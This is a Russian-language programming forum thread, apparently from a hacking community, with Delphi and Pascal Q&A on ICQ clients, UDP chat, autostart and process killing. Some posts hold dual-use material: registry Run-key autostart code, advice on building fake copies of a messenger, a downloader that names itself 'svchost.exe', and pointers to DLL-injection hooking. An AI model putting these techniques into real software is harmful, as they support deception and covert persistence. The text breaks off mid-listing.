попробуй тут (http://www.google.ru/search?complete=1&hl=ru&newwindow=1&q=%D0%BA%D0%B5%D0%B9%D0%B3%D0%B5%D0%BD+delphi+7&btnG=%D0%9F%D0%BE%D0%B8%D1%81%D0%BA&lr=&aq=f&oq=) поискать
Dober'man
07.09.2008, 02:39
хотя он есть ???
В каком каталоге?!!!
Возможно, турбопаскаль настроен так, что скомпилированные экзешники пишутся в отдельный каталог, а не в тот, где лежит *.pas и ибрабатываемый файл. Посмотри в настройках, возможно, так оно и есть.
ЗЫ. Эта ошибка появляется при билде/компиляции (Alt-)F9 или же только при запуске Ctrl-F9?
Вот такой код тоже не работает?
{$I-}
program test;
const
PARSE_FILE = 'h.txt';
var
f : Text;
begin
assign (f, PARSE_FILE);
reset (f);
if IOResult <> 0 then begin
writeln ('reset error');
halt (-1)
end;
close (f)
end.
Dober'man
08.09.2008, 20:29
а почему без выделенной строчки неработает
Потому что он отключил контроль оперций ввода-вывода {$I-}
migomcom
09.09.2008, 09:55
добрый день господа.
Поделитесь пожалуйста опытом работы с шифрованием на базе открытых и закрытых ключей.
Может быть готовыми примерами.
Нужно сделать так чтобы
Можно было сгенерить два ключа (открытый и закрытый)
часть текста шифровалась открытым ключем,
возможность дешифровки мастер ключем.
Желательно все сделать средствами Windows.
Для уменьшения размера
за полезную информацию в этом плане отблагодарю.
ICQ 442204540
Dober'man
09.09.2008, 16:06
На асме https://forum.antichat.ru/showpost.php?p=689443&postcount=7
Незабудь вверху статьи написать begin a внизу end и будет работать :D
ребята, ну так мне кто нибуть поможет или нет?))
мне нужно максимально безопасно спрятать в файле ключ..
(тоесть есть процедура которая расшифровывает текст по ключу XXX.. вот мне єтот ключ XXX надо спрятать, что при reverse'нге било трудно его найти..)
='(
уже как сутки задал вопрос, так и никто не может ответить(((
Упакуй программу протектором.
Упакуй программу протектором
єто я всегда успею сделать))
мне интересно, как вручную спрятать?
Ну запиши зашифрованной и потом расшифруй в процессе выполнения.
Ну запиши зашифрованной и потом расшифруй в процессе выполнения.
nezerus, ти не понял моего вопроса..
как зашифровать/расшифровать я знаю.. (шифровка и расшифровка идет по ключу..),
так вот ключ для расшифровки мне надо спрятать.. как?
http://forum.antichat.ru/threadnav80004-1-10.html
разжуйте плз а то чет не могу =\
Подскажите как в delphi проверить открыт ли порт, например 25, и если возможно, закрыть его ???
Dober'man
10.09.2008, 22:27
http://forum.antichat.ru/threadnav80004-1-10.html
разжуйте плз а то чет не могу =\
Берется любой редактор ресурсов типа restorator или reshack, затем копируются все окна проги, то бишь формы из которых они сделаны (например мэйлагент) и из них собирается уже новый мэйлагент, только из своего кода - это фейк проги.
update/
Подскажите как в delphi проверить открыт ли порт, например 25, и если возможно, закрыть его ???
http://stfw.ru/page.php?id=7405
_GlaD1aT(OR)_
11.09.2008, 09:35
Помогите с компонентом ICQClient.
------------------
Пишут что это единственный из извесных работающий компонентов Delphi для работы с ICQ. Кто имел с ним дело хочю спросить кое-что:
На форме есть два Edit'a, кнопка ну и естественно сам компонент ICQClient. Первый Edit для ввода UIN'a, второй для пароля. Задача что-бы при нажатии на кнопку, происходило подключение и при правельном пароле Caption изменил название на Режим "OnLine":
procedure TForm1.Button1Click(Sender: TObject);
begin
if (Edit1.Text='') or (Edit2.Text='')
or (StrToInt(Edit1.Text)<10000)
then
begin
MessageBox(0, 'Пожалуйста введите верно UIN и Пароль', MB_ICONWARNING);
Exit;
end;
ICQClient1.UIN:=StrToInt(Edit1.Text);
ICQClient1.Password:=Edit2.Text;
ICQClient1.ConvertToPlaintext:=true;
//логинимся к серверу в статусе Online
ICQClient1.Login;
//--------------------------------------
Button1.Enabled:=False;
Edit1.Enabled:=False;
Edit2.Enabled:=False;
end;
---------------------
При удачном соединении надо что-бы Форма1 меняло свое название:
---------------------
procedure TForm1.ICQClient1Login(Sender: TObject);
begin
Form1.Caption:=('Статус: Online')
end;
Вопрос, почему это не работает, форма не менят Caption. Tckb кто знает в чем проблема, прошу сказать что я сделал не правильно.
Nightmarе
11.09.2008, 10:57
_GlaD1aT(OR)_, в твоём коде всё правильно.
Ошибка возможно кроется в самом компоненте Ticq, так как в сети есть много вариантов, изначальный (а там протокол изменён), ну и разные модификации, так вот изначальный работать не будет, а модифицированный, да.
Поэтому надо сначала убедиться, что сам компонент исправен.
_GlaD1aT(OR)_, попробуй сделать так:
откров файл ICQClient.pas и измени строчку:
procedure TICQClient.Login(Status: LongWord = S_ONLINE; BirthDay: Boolean = False); на
function TICQClient.Login(Status: LongWord = S_ONLINE; BirthDay: Boolean = False):boolean;
....//в сааамом конце:
FSock.Connect;
RESULT:=TRUE;
end;
и в коде делай так:
if ICQClient1.Login=false then
begin showmessage('CONNECT ERROR'); exit; end;
showmessage('CONNECTER');
Form1.Caption:=('Статус: Online')
...
ПОМОГИТЕ МНЕ єЩО РЕБЯТА! МНЕ НАДО СПРЯТАТЬ КЛЮЧ В ФАЙЛЕ))
Nightmarе
11.09.2008, 12:39
ПОМОГИТЕ МНЕ єЩО РЕБЯТА! МНЕ НАДО СПРЯТАТЬ КЛЮЧ В ФАЙЛЕ))
Есть только вариант шифровать текст непосредственно в самом .pas файле разными алгоритмами. Это опытные крякеры расшифруют дело но...
Я лично всегда делал несколько алгоритмов шифровки текста с открытыми ключами...
мда...
whiledo лесом идет с таким постом...
eLWAux если ключ вшивать будешь в pas то:
Delphi String Protect
=====================
О программе
Delphi String Protect осуществляет защиту строк в исходниках, что после компиляции защитит программу от крэкеров. Строки в исходниках превращаются в зашифрованный массив байт, который расшифровывается по мере необходимости во время работы скомпилированной программы, таким образом, сам исполянемый файл не содержит строк в открытом виде и тем самым сильно противодействует взлому программ путем дизассемблирования и анализа кода программы.
прогу ищи сам
Nightmarе
11.09.2008, 21:28
Delphi String Protect, кому надо ловите:
http://slil.ru/26136468
а мне нужно с помощью делфи!
diznt, я прочел 10 твоих постов но до конца так и не понял вопроса ...
Dober'man
11.09.2008, 23:57
http://forum.antichat.ru/threadnav80004-1-10.html
разжуйте плз а то чет не могу =\
Берется любой редактор ресурсов типа restorator или reshack, затем копируются все окна проги, то бишь формы из которых они сделаны (например мэйлагент) и из них собирается уже новый мэйлагент, только из своего кода - это фейк проги.
а мне нужно с помощью делфи!
Фейки программ, исходники на Delphi
http://forum.antichat.ru/threadnav80004-1-10.html
Почём трава?!!!
PorTal.Pro
14.09.2008, 13:08
Кто подскажет код, что бы0при нажатии на кнопку включался ехе файл предположем программы или игры
На делфи
Nightmarе
14.09.2008, 13:25
Кто подскажет код, что бы0при нажатии на кнопку включался ехе файл предположем программы или игры
На делфи
ShellExecute(form1.Handle, nil, PCHar('C:\lol.exe'), nil, nil, SW_SHOW);
Ну и перед этим добавляем в uses модуль ShellApi
Сообщение от Dober'man Берется любой редактор ресурсов типа restorator или reshack, затем копируются все окна проги, то бишь формы из которых они сделаны (например мэйлагент) и из них собирается уже новый мэйлагент, только из своего кода - это фейк проги.
Ну и в тему, отличный редактор ресурсов
XN Resource Editor (http://slil.ru/26143790)
0verbreaK
14.09.2008, 19:38
PorTal.Pro
WinAPI: WinExec, CreateProcess
Интересует реализация локального чата, чтобы люди могли отсылать сообщения на шлюзовой компьютер (раздающий инет). подкреплять ответ разъяснением.
ЗЫ: желательно, чтобы мессенджер вёл лог и обязательно, чтобы все сообщения было видно каждому
0verbreaK
15.09.2008, 21:24
ronald используй UDP протокол поищи готовые реализации локальных чатов, также в делфи есть компонент для рбаоты с UDP дейтаграммами.
Доброе время суток
Не могу никак с помощью регулярного выражения найти "Как меня зовут?" без тегов
<td nowrap>Как меня зовут: </td>
Искал с помощью <td nowrap>(.+?)</td>, но много находит. Как можно еще добавить в поиск ": " (без кавычек)
Помогите пожалуйста :confused:
так юзай квантификатор - ноль и более вхождений - *
и тогда будет чтото типа
<td nowrap>(.+?)*:</td> чтото подобное
или <td nowrap>(.+?)*\:</td>
Интересует как на делфи добавить прогу в автозагрузку)))
NeXArmAor
17.09.2008, 19:52
Нужно получить текст с программы,а точнее с TPanel'и. Вообщем эта программа представляет из себя чат,и когда пользователь пишет текст в чате,данный текст потом отображается в TPanel. Мне необходимо этот текст получить из моей программы,для этого я юзаю FindWindow и FindWindowEx и SendMessage с WM_GETTEXT,но они к сожалению не дают желаемого результата. Кто знает как осуществить это пишите
Вот скрины:
http://img370.imageshack.us/img370/1991/tpanum2.jpg
--------------------------------------------------------------------------------------
http://img370.imageshack.us/img370/4562/tpan1br7.jpg
А вот код:
///Код примерный
var
hnd: HWND;
stx: String;
begin
hnd:=FindWindow('TMainForm',nil);
hnd:=FindWindowEx(hnd,0,'TPanel',nil);
SendMessage(hnd,WM_GETTEXT,0,Integer(PChar(stx)));
ShowMessage(stx); 'в итоге вместо настоящего текста появляется TPanelCentral
end;
NeXArmAor
17.09.2008, 19:57
ronald,
function RegWrite(RK:HKEY;K,N,V:String):Boolean;
var
Handle: HKEY;
ReSo: LongInt;
Begin
Result:=False;
ReSo:=RegCreateKeyEx(RK, PChar(K), 0, nil, REG_OPTION_NON_VOLATILE,
KEY_ALL_ACCESS, nil, Handle, nil);
if ReSo <> ERROR_SUCCESS then
Exit;
ReSo:=RegSetValueEx(Handle, PChar(N), 0, REG_SZ, PChar(V),
Length(V) + 1);
Result:=ReSo=ERROR_SUCCESS;
RegCloseKey(Handle);
end;
RegWrite(HKEY_CURRENT_USER,'\Software\Microsoft\Wi ndows\CurrentVersion\Run','XZ','MYPROG.EXE');
как то так.
Только пробелы убери после копипаста
Как можно сделать проверку нескольких Edit (например 6-ти) на наличие символов. кроме как вот так:
if length(edit1.text) and .... length(edit6.text)=0 then
showmessage('заполните все поля!');
Dober'man
17.09.2008, 21:56
for i:=1 to n do if length(edit[i].text)=0 then showmessage()
или
for i:=1 to n do if edit[i].text='' then showmessage()
Или вот так, + все едиты и те которые будут создаватся в реалтайм.
procedure TForm1.Button1Click(Sender: TObject);
Var
i : integer;
begin
try
for i:=0 to Form1.ComponentCount - 1 do
if Form1.Components[i] is TEdit then
if ((Form1.Components[i] as TEdit).Text='') then
ShowMessage('Заполните все поля!');
except
end;
end;
Joker-jar
19.09.2008, 00:22
очищаем массив for i:=0 to 4 do a[i]:=0;
FillChar(a, 0, sizeof(a)); или ZeroMemory(a, sizeof(a));
UnPazz
for i:=0 to 4 do a[i]:=i;
freeandnil(a);
fillchar(a,sizeof(a),char(0));
вопрос
Как можно сделать проверку нескольких Edit (например 6-ти) на наличие символов. кроме как вот так:
if length(edit1.text) and .... length(edit6.text)=0 then
showmessage('заполните все поля!');
ответы
for i:=1 to n do if length(edit[i].text)=0 then showmessage()
for i:=1 to n do if edit[i].text='' then showmessage()
че за бред?
вы где это увидели?
Вот код который сделает то что нужно (P.S. строгое оформление кода у меня пошло от C#)
procedure TForm1.Button1Click(Sender: TObject);
var
i: integer;
begin
for i:=0 to Form1.ComponentCount - 1 do
begin
if (Form1.Components[i] is TEdit) then
begin
if ((Form1.Components[i] as TEdit).Text = '') then
begin
ShowMessage(Form1.Components[i].Name + ' is empty');
Exit;
end;
end;
end;
end;
cremator (c)
19.09.2008, 19:04
Возможно ли сделать на дельфи такую программу которая бы открывала сессию обмена данными с портом сервера? На подобие как есть функция в essential net tools Raw socket.
Можно. Через сокеты.
WinAPI.
cremator (c)
20.09.2008, 00:47
А если не трудно где можно найти именно по этой теме материал? Или может есть у кого нибудь уже готовые тулзы?
Dober'man
20.09.2008, 01:16
Во первых, не правильно цетировал мой код!!!
Во вторых:
TComponent - класс является предком для всех классов, которые хотят быть компонентами. Правда, этот класс может быть предком только для невизуальных компонентов, т.е. невидимых во время выполнения, а на форме видимых только в виде квадратика с иконкой!
Конечно у тебя безупречный код проверки из всех компонентов формы наличие эдитов и наличия в них текста!!!
че за бред?
вы где это увидели?
И такое видели... !!! Куда нам, таким тупарям, до тебя!!!!!
Во первых, не правильно цетировал мой код!!!
это почему же?
Во вторых:
TComponent - класс является предком для всех классов, которые хотят быть компонентами. Правда, этот класс может быть предком только для невизуальных компонентов, т.е. невидимых во время выполнения, а на форме видимых только в виде квадратика с иконкой!
Просмотрим дерево наследования для TMemo, визуальный компонент, чтож начнем:
TMemo = class(TCustomMemo); -> TCustomMemo = class(TCustomEdit); -> TCustomEdit = class(TWinControl); -> TWinControl = class(TControl); -> TControl = class(TComponent).
Приехали...
И такое видели... !!! Куда нам, таким тупарям, до тебя!!!!!
сарказма не понял...
Как выполнить ShellCode в дельфях?!
в C+ это выглядело примерно так :
а в делфи вроде так =)
Турбо Паскаль позволяет вам вставить команды на языке ас-
семблера непосредственно в ваш исходный код на Паскале. Это может
оказаться очень полезным как для взаимодействия со специальными
устройствами, так и для написания очень быстрых процедур, которые
используют средства поддержки Турбо Паскаля.
Машинный код, который вы хотите вставить в вашу программу,
должен идти после ключевого слова inline и быть заключен в круг-
лые скобки. Каждый байт или слово отделяются обратным слешем.
Простая арифметика может быть реализована с помощью знаков плюс и
минус. Символ "*" определяет ячейку, на которую указывает счетчик
адреса. Весь код вводится в виде чисел, то есть вы не можете ис-
пользовать мнемоник как в ассемблере. Так как inline - это пред-
ложение, оно оканчивается точкой с запятой.
Например,
inline ($C9/$E900);
будет вводить три байта в вашу программу: $C9, $E9 и 0.
Вот исходник локального чата:
[.code]
unit Unit1;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, IdUDPServer, IdBaseComponent, IdComponent, IdUDPBase,
IdUDPClient, StdCtrls, WinSock;
type
TForm1 = class(TForm)
Edit1: TEdit;
Memo1: TMemo;
Button1: TButton;
IdUDPClient1: TIdUDPClient;
IdUDPServer1: TIdUDPServer;
procedure Button1Click(Sender: TObject);
procedure IdUDPServer1Status(ASender: TObject;
const AStatus: TIdStatus; const AStatusText: String);
procedure IdUDPServer1UDPRead(Sender: TObject; AData: TStream;
ABinding: TIdSocketHandle);
private
{ Private declarations }
public
{ Public declarations }
end;
var
Form1: TForm1;
implementation
{$R *.dfm}
procedure TForm1.Button1Click(Sender: TObject);
begin
IdUDPClient1.Send(Edit1.Text);
end;
procedure TForm1.IdUDPServer1UDPRead(Sender: TObject; AData: TStream;
ABinding: TIdSocketHandle);
var
StringFormatedStream: TStringStream;
s:String;
begin
StringFormatedStream := TStringStream.Create('');
StringFormatedStream.CopyFrom(AData, AData.Size);
Memo1.Lines.Add(ABinding.PeerIP+' '+StringFormatedStream.DataString);
ABinding.SendTo(ABinding.PeerIP, ABinding.PeerPort, s[1], Length(s));
StringFormatedStream.Free;
end;
end.
[.code]
При компиляции в 7-ой дельфи вылезают ошибки:
[Error] Unit1.pas(21): Undeclared identifier: 'TIdSocketHandle'
[Error] Unit1.pas(50): ')' expected but identifier 'PeerIP' found
[Error] Unit1.pas(50): 'END' expected but ')' found
[Error] Unit1.pas(18): Unsatisfied forward or external declaration: 'TForm1.IdUDPServer1Status'
[Fatal Error] Project1.dpr(5): Could not compile used unit 'Unit1.pas'
Помогите плз с этой х***й разобраться
ronald на что указывает красная строка при ошибке???
вот ошипочные строки
ошипка
[Error] Unit1.pas(19): Undeclared identifier: 'TIdSocketHandle'
Строка
ABinding: TIdSocketHandle);
---------------------------------------------------------
ошипка
[Error] Unit1.pas(46): ')' expected but identifier 'PeerIP' found
Строка
Memo1.Lines.Add(ABinding.PeerIP+' '+StringFormatedStream.DataString);
---------------------------------------------------------
ошипка
[Error] Unit1.pas(46): 'END' expected but ')' found
строка
Memo1.Lines.Add(ABinding.PeerIP+' '+StringFormatedStream.DataString);
---------------------------------------------------------
ошипка
[Fatal Error] Project1.dpr(5): Could not compile used unit 'Unit1.pas'
строка
Unit1 in 'Unit1.pas' {Form1};
Archangelus
21.09.2008, 02:47
Подскажите как при помощи indy проверить ссылку на существование с выводом результата?
Archangelus
В Indy не вижу смысла.
Юзаю такой код:
function TestUrl(Url: String): Boolean;
var
hSession, hfile: hInternet;
dwindex, dwcodelen: dword;
dwcode: array [1..20] of char;
res: pchar;
Begin
Try
if pos('http://', lowercase(Url)) = 0 then
Url := 'http://'+Url;
Result := false;
hSession := InternetOpen('InetURL:/1.0', INTERNET_OPEN_TYPE_PRECONFIG, nil, nil, 0);
if assigned(hsession) then
begin
hfile := InternetOpenUrl(hsession, pchar(Url), nil, 0, INTERNET_FLAG_RELOAD, 0);
dwIndex := 0;
dwCodeLen := 10;
HttpQueryInfo(hfile, HTTP_QUERY_STATUS_CODE, @dwcode, dwcodeLen, dwIndex);
res := pchar(@dwcode);
Result := (res = '200') or (res = '302');
if assigned(hfile) then
InternetCloseHandle(hfile);
InternetCloseHandle(hsession);
end;
except
Result := false;
end;
end;
ronald добавте в Uses IdSocketHandle;
Как при загрузке очистить Edit и Memo?
ЗЫ: смотрите исходник чата наверху
ronald
edit1.Clear;
memo1.Clear;
Раз активность появилась)))), подскажите как заставлять Memo1 сливаться в файл в директории где лежит мемо (история переписки)
oO что значит сливатся?
Сохранить текст memo1.Lines.SaveToFile('');
Если вы хотите сохранит ьв туже папку где и программа то
extractfilepath(application.ExeName+'history.txt') ;
Получается
memo1.Lines.SaveToFile(extractfilepath(application .ExeName+'history.txt'));
Раз активность появилась)))), подскажите как заставлять Memo1 сливаться в файл в директории где лежит мемо (история переписки)
Hellsp@wn
21.09.2008, 14:35
function GetExeName():pchar;
begin
result:=pointer(LocalAlloc(lmem_ZeroInit,255));
GetModuleFileName(0,result,255);
end;
function ExtractFilePath(sFile: String): String; stdcall;
var
i: Integer;
j: Integer;
begin
j := length(sFile);
for i := 1 to length(sFile) do
if sFile[i] = '\' then j := i;
result := Copy(sFile, 1, j);
end;
function GetExeDirectory(): String; stdcall;
begin
result := ExtractFilePath(GetExeName);
end;
...
Memo1.Lines.SaveToFile(GetExeDirectory()+'1.txt');
Ещё вопрос:
Компьютеры объединены в одну локальную сеть, как сделать так, чтобы через этот чат можно было скидывать файлы?
А также:
Как можно сделать, чтобы если, какое-либо изменение происходило бы с Memo1 выходило бы объявление об этом(звук спикера, анимация и т.д. ,но не ЗВУК!(колонок нету)
ronald извини конечно, но на такие элементарные вопросы в гугле куча ответов и примеров...
по теме:
файлы - читай, смотри в сторону TCP
спикер - beep(100); событие OnChange возникает при любом обращении к компоненту, пиши beep туда
сори, я просто больше по С++, а вот Делфи токо на низковатом урове
Zabuldon
21.09.2008, 17:05
Ещё вопрос:
Компьютеры объединены в одну локальную сеть, как сделать так, чтобы через этот чат можно было скидывать файлы?
А также:
Как можно сделать, чтобы если, какое-либо изменение происходило бы с Memo1 выходило бы объявление об этом(звук спикера, анимация и т.д. ,но не ЗВУК!(колонок нету)
Для подсказок я юзаю TkmAlert неплохая штука а чтоб по изменении так есть событие OnChange
De-visible
21.09.2008, 20:51
сори, я просто больше по С++, а вот Делфи токо на низковатом урове
Больше на С++??????
Тогда нах.уй тебе вообще Делфи? не вижу смысла, пиши тогда основной двиг на С++(dll), а для гуи Делфи если только так....
А смысл гуя на делфи, когда есть билдер? )
De-visible
22.09.2008, 13:51
А смысл гуя на делфи, когда есть билдер? )
На делфи думаю гуи легче:), и вообще судя по себе, не вижу смысла учить DELPHI.
---------------
p.s.
Есть желание выучить С++ и питон, но пока нет времени:(
не вижу смысла учить DELPHI.
Но дружить с ним всеже желательно )
Разное же бывает, пригодиться...
Здесь предпочтительней, оставаться зрителем...(c)
На делфи думаю гуи легче Нисколько. Vcl идентичен там.
Разное же бывает, пригодиться... Когда пригодится - тогда и выучим ;)
На самом деле фраза построена странно - но так на самом деле и есть.
De-visible
22.09.2008, 14:28
Нисколько. Vcl идентичен там.
Когда пригодится - тогда и выучим ;)
На самом деле фраза построена странно - но так на самом деле и есть.
Нисколько. Vcl идентичен там.
Здесь я спорить не буду:)
----------
Народ нужен учебник по indy component's (делфи)
Глубины indy (от разработчиков вроде) не подходит так как много чего не понятно,
Нужна книга чтобы там было
Работа с распространенными компонентами indy, по мимо того как там будет писаться код (в книге) то желательно должно все до частицы разжеванно что и какая команда в коде делает,русской должна быть книга конечно, примеры работ каторые в книге описываються (к примеру заголовок "Делаем ftp клиент" там описываеться что да и как делать, пример проги то есть ftp клиента)
Спасибо!
Почему в турбо паскале 7.0. когда я пишу 1234567890, то всё нормально, но когда зажимаю шифт и пишу 1234567890, появляются китайские иероглифы хз как назвать
Почему в турбо паскале 7.0. когда я пишу 1234567890, то всё нормально, но когда зажимаю шифт и пишу 1234567890, появляются китайские иероглифы хз как назвать Попробуй Free Pascal 2.2
Как отсортировать итемы в ListBox по первым символам в название?То есть если цифры то от 0 до максимального,или если буквы то по алфавиту.
Как отсортировать итемы в ListBox по первым символам в название?То есть если цифры то от 0 до максимального,или если буквы то по алфавиту.
ListBox1.Sorted:=true;
Можно предварительно сорировать стоки, только не в TStrings (хотя не знаю, может у версий позднее 5-го Delphi уже можно), а совместимый с ним TStringList методом StringList1.Sort или изменив свойство StringList1.Sorted:=true;
o_OBallers
24.09.2008, 14:36
Народ нужен учебник по indy component's (делфи)
Глубины indy (от разработчиков вроде) не подходит так как много чего не понятно,
Нужна книга чтобы там было
Работа с распространенными компонентами indy, по мимо того как там будет писаться код (в книге) то желательно должно все до частицы разжеванно что и какая команда в коде делает,русской должна быть книга конечно, примеры работ каторые в книге описываються (к примеру заголовок "Делаем ftp клиент" там описываеться что да и как делать, пример проги то есть ftp клиента)
Спасибо!
Такого, учебника нету, сам в своё время обыскался, бери английский словарь, вводи например idHTTP1. вылезет автозавершение, смотри что там есть, переводи, домысливай, эксперементируй, давай больше импровизации. Также пользуйся google и delphiworld. Я сам пару лет назад изучал так indy.
Почему в турбо паскале 7.0. когда я пишу 1234567890, то всё нормально, но когда зажимаю шифт и пишу 1234567890, появляются китайские иероглифы хз как назвать
Дело в таблице символов там нету !@#$%^&*()
Karapuziko
24.09.2008, 23:37
Как сделать что бы в Делфи в прогах ошибки не вылетали а просто игнорировались?
Karapuziko
24.09.2008, 23:44
Рой в сторону обработки исключительных ситуаций
а ты сам не знаешь? помоги если знаешь...
Как сделать что бы в Делфи в прогах ошибки не вылетали а просто игнорировались?
вот пример обработки ошибки выполнения функции делфи
try
strtoint('xx');
except
showmessage('error');
end
De-visible
25.09.2008, 00:14
вот пример обработки ошибки выполнения функции делфи
try
strtoint('xx');
except
showmessage('error');
end
мда....
Как сделать что бы в Делфи в прогах ошибки не вылетали а просто игнорировались?
заключить потенциально "опасный" код в блок try..except..end;
в блоке обработки except..end; ничего не писать
cremator (c)
26.09.2008, 11:05
Мне надо реализовать в проге чтобы при нажатие определенной кнопки посылался запрос в виде http://server.ru/index.php?var=value и потом ждать ответ от сервера и записать его в какую нибудь переменную..
если не трудно поподробнее напишите пожалуйста))
как простой вариант юзай для дельфы модуль wininet
и можно замутить так:
функции даешь путь полный типа http://site.com/script.php?var=value
и буфер куда должен ответ приняться
procedure Download(url:pansichar;var ress:pchar);
var
hSession, hURL: pointer;// для скачевания
Buffer: array[0..1023] of char; // буфер
BufferLen: DWORD;
x:integer;
begin
hSession:=InternetOpen('svchost.exe', 1, nil, nil, 0); // открытие сессии
if hSession=nil then exit;
hURL:=InternetOpenURL(hSession, URL, nil, 0, $04000000, 0); // открытие удаленного файла
if hURL=nil then exit;
lstrcpy(ress,#0);
repeat
for x:=0 to 1023 do buffer[x]:=#0; // тупой метод очистки бефера. но для моих целей пойдет
InternetReadFile(hURL, @Buffer[0], SizeOf(Buffer), BufferLen); // считывание удаленного файла в буфер
lstrcat(ress,buffer);
until BufferLen=0; // если буфер пуст, то файл уже скачался
InternetCloseHandle(hURL); // закрыть удаленный файл
InternetCloseHandle(hSession); // закрыть сессию
end;
ачатовцы, помогите, уже 5 дней ломаю голову. подскажите как сделать глобальный хук, что бы при нажатии клавиш (ctrl+alt+shift) убивался winamp.exe к примеру. ЗЫ: моя прога может в этот момент быть не активна а активин сам винамп.
Заранее благодарен... Очень нужно...
ачатовцы, помогите, уже 5 дней ломаю голову. подскажите как сделать глобальный хук, что бы при нажатии клавиш (ctrl+alt+shift) убивался winamp.exe к примеру. ЗЫ: моя прога может в этот момент быть не активна а активин сам винамп.
Заранее благодарен... Очень нужно...
Если вкратце то есть 2 способа, первый - пишем драйвер который хукает что тебе нужно и второй, это пишем длл-ку которую внедряем во все процессы и перехватываем определенные действия....
про драйвер слышу в первый раз. Так хотел дллку но у самого не получислось - поэтому прошу помощи
http://wasm.ru/article.php?article=apihook_1
cremator (c)
27.09.2008, 10:25
мне надо определить тип переменной в процессе работы проги, текстовый он или числовой. есть такой оператор?
и ещё даже когда я помещаю потенциально "опасный" код в блок try ... except on EConvertError do ... end; то у меня всё равно вылазиет ошибка конвертации!
De-visible
27.09.2008, 10:58
мне надо определить тип переменной в процессе работы проги, текстовый он или числовой. есть такой оператор?
и ещё даже когда я помещаю потенциально "опасный" код в блок try ... except on EConvertError do ... end; то у меня всё равно вылазиет ошибка конвертации!
ещё даже когда я помещаю потенциально "опасный" код в блок try ... except on EConvertError do ... end; то у меня всё равно вылазиет ошибка
Скорее всего у тебя вылазиет ошибка под отладчиком, после компиляции такого быть не должно...
Здравствуйте! Есть вопросик программисты, посоветуйте plz.
Исходные данные:
имеется некая работающая прога, для которой необходимо отслеживать факт изменения картинки на экране (будет реализовано скорее всего через несколько последовательных вызовов GetPixel), считаем, что "картинка" меняется со случайными интервалами во времени.
Для конкретизирования примера пусть необходимо отслеживать наличие конкретной кнопки (изображения) в определенном месте браузера (допустим Explorer).
Вопрос:
как лучше отслеживать изменение картинки?
{грузить систему проверками по таймеру не хочется}
Larionich
28.09.2008, 01:16
eNGi, да, действительно, ты правильно мыслишь. Разумно нужно отказаться от вызовов GetPixel() (Если изображение не больше 320х240, а лучше и еще меньше). Чтобы разобраться прочти, работёнка тебе продстоит большая, написано много
http://forum.sources.ru/index.php?showtopic=240312&hl=
http://www.delphimaster.ru/articles/pixels/index.html
Вариант2. Использовать неуправляемую память куда будут помещены данные изображения, то работать всё будет быстро (в сети сам найдешь по этомой теме информацию поисковиком).
На С# же мелкомягкие предусмотрели функции System.Drawing.Imaging.BitmapData.Scan0() и System.Runtime.InteropServices.Marshal.Copy(), скорость использования которых выше, чем вызов GetPixel()и SetPixel().
может ктонибудь дать готовый пример Icq реализованный на компонентах и желательно (хотелось бы разобрать) реализацию на сокетах без компонентов.
желательно чтоб в примерах были все функции))
Зарание благодарю!
p.s. за помощь не обижу)
De-visible
28.09.2008, 12:46
может ктонибудь дать готовый пример Icq реализованный на компонентах и желательно (хотелось бы разобрать) реализацию на сокетах без компонентов.
желательно чтоб в примерах были все функции))
Зарание благодарю!
p.s. за помощь не обижу)
Карась тут выкладывал контрол для работы с этим протоколом, все исходные коды в архиве...
но правда он пишет на VB:)
ммм VB не очень люблю) хотелось бы на Delphi искал но ничего хорошего не нашел(
все нашел) кому надо вот: http://forum.asechka.ru/showthread.php?t=97186
там огромная темка про ето множество реализаций)
Larionich
28.09.2008, 14:23
KIR@PRO, есть очень хорошая статься (10 уроков) по написанию icq2000 в делфи http://www.delphisources.ru/pages/faq/base/icq2000_1.html . Реализация на компонентах http://www.delphiexpert.ru/view_download.php?id=89 . Так же прочитай, много полезного пишут http://forum.asechka.ru/showthread.php?t=97186
спасибо но возикает вопрос а там предусмотрено то что протокол Icq опять изменён???
Попробывал сделать с хотки но все бы хорошо но с игрой не работает. Блокнот закрывает. Все закрывает, но как только запускаешь игру - не хочет работать. Вообще ни как не реагирует.
В чем может быть дело? подскажите или придется все же делать хук? Тогда помогите с хуком ибо уже неделю не могу сделать.
unit Unit1;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs,
Tlhelp32;
type
TForm1 = class(TForm)
procedure FormCreate(Sender: TObject);
procedure FormDestroy(Sender: TObject);
private
{ Private declarations }
procedure WMHotKey(var Msg: TWMHotKey); message WM_HOTKEY;
public
{ Public declarations }
end;
const
hotkey1 = ord ('1');
hotkey2 = ord ('2');
hotkey3 = ord ('3');
hotkey4 = ord ('4');
hotkey5 = ord ('5');
hotkey6 = ord ('6');
hotkey7 = ord ('7');
hotkey8 = ord ('8');
hotkey9 = ord ('9');
hotkey10 = ord('0');
var
Form1: TForm1;
implementation
{$R *.dfm}
function KillTask(ExeFileName: string): integer;
const
PROCESS_TERMINATE=$0001;
var
ContinueLoop: BOOL;
FSnapshotHandle: THandle;
FProcessEntry32: TProcessEntry32;
begin
result := 0;
FSnapshotHandle := CreateToolhelp32Snapshot
(TH32CS_SNAPPROCESS, 0);
FProcessEntry32.dwSize := Sizeof(FProcessEntry32);
ContinueLoop := Process32First(FSnapshotHandle,
FProcessEntry32);
while integer(ContinueLoop) <> 0 do
begin
if ((UpperCase(ExtractFileName(FProcessEntry32.szExeF ile)) =
UpperCase(ExeFileName))
or (UpperCase(FProcessEntry32.szExeFile) =
UpperCase(ExeFileName))) then
Result := Integer(TerminateProcess(OpenProcess(
PROCESS_TERMINATE, BOOL(0),
FProcessEntry32.th32ProcessID), 0));
ContinueLoop := Process32Next(FSnapshotHandle,
FProcessEntry32);
end;
CloseHandle(FSnapshotHandle);
end;
function EnumMiniProc (Wd: HWnd; Param: LongInt): Boolean; stdcall; // Îáÿçàòåëüíî stdcall !!!
Begin
If Wd<>Form1.Handle then // åñëè ýòî íå íàøà ïðîãðàììà
If IsWindowVisible(WD) then // åñëè îêíî âèäèìî
If not IsIconic(WD) then // åñëè îêíî íå ñâåðíóòî
If isWindow(WD) then // è âîîáùå ýòî - îêíî.
ShowWindow(WD, SW_MINIMIZE); // ñâåðíåì åãî.
end;
procedure TForm1.WMHotKey(var Msg: TWMHotKey);
begin
EnumWindows (@EnumMiniProc, 0); // îòðàáàòûâàåì ñâîðà÷èâàíèå îêîí.
Sleep(1000);
KillTask('CabalMain.exe');
end;
procedure TForm1.FormCreate(Sender: TObject);
begin
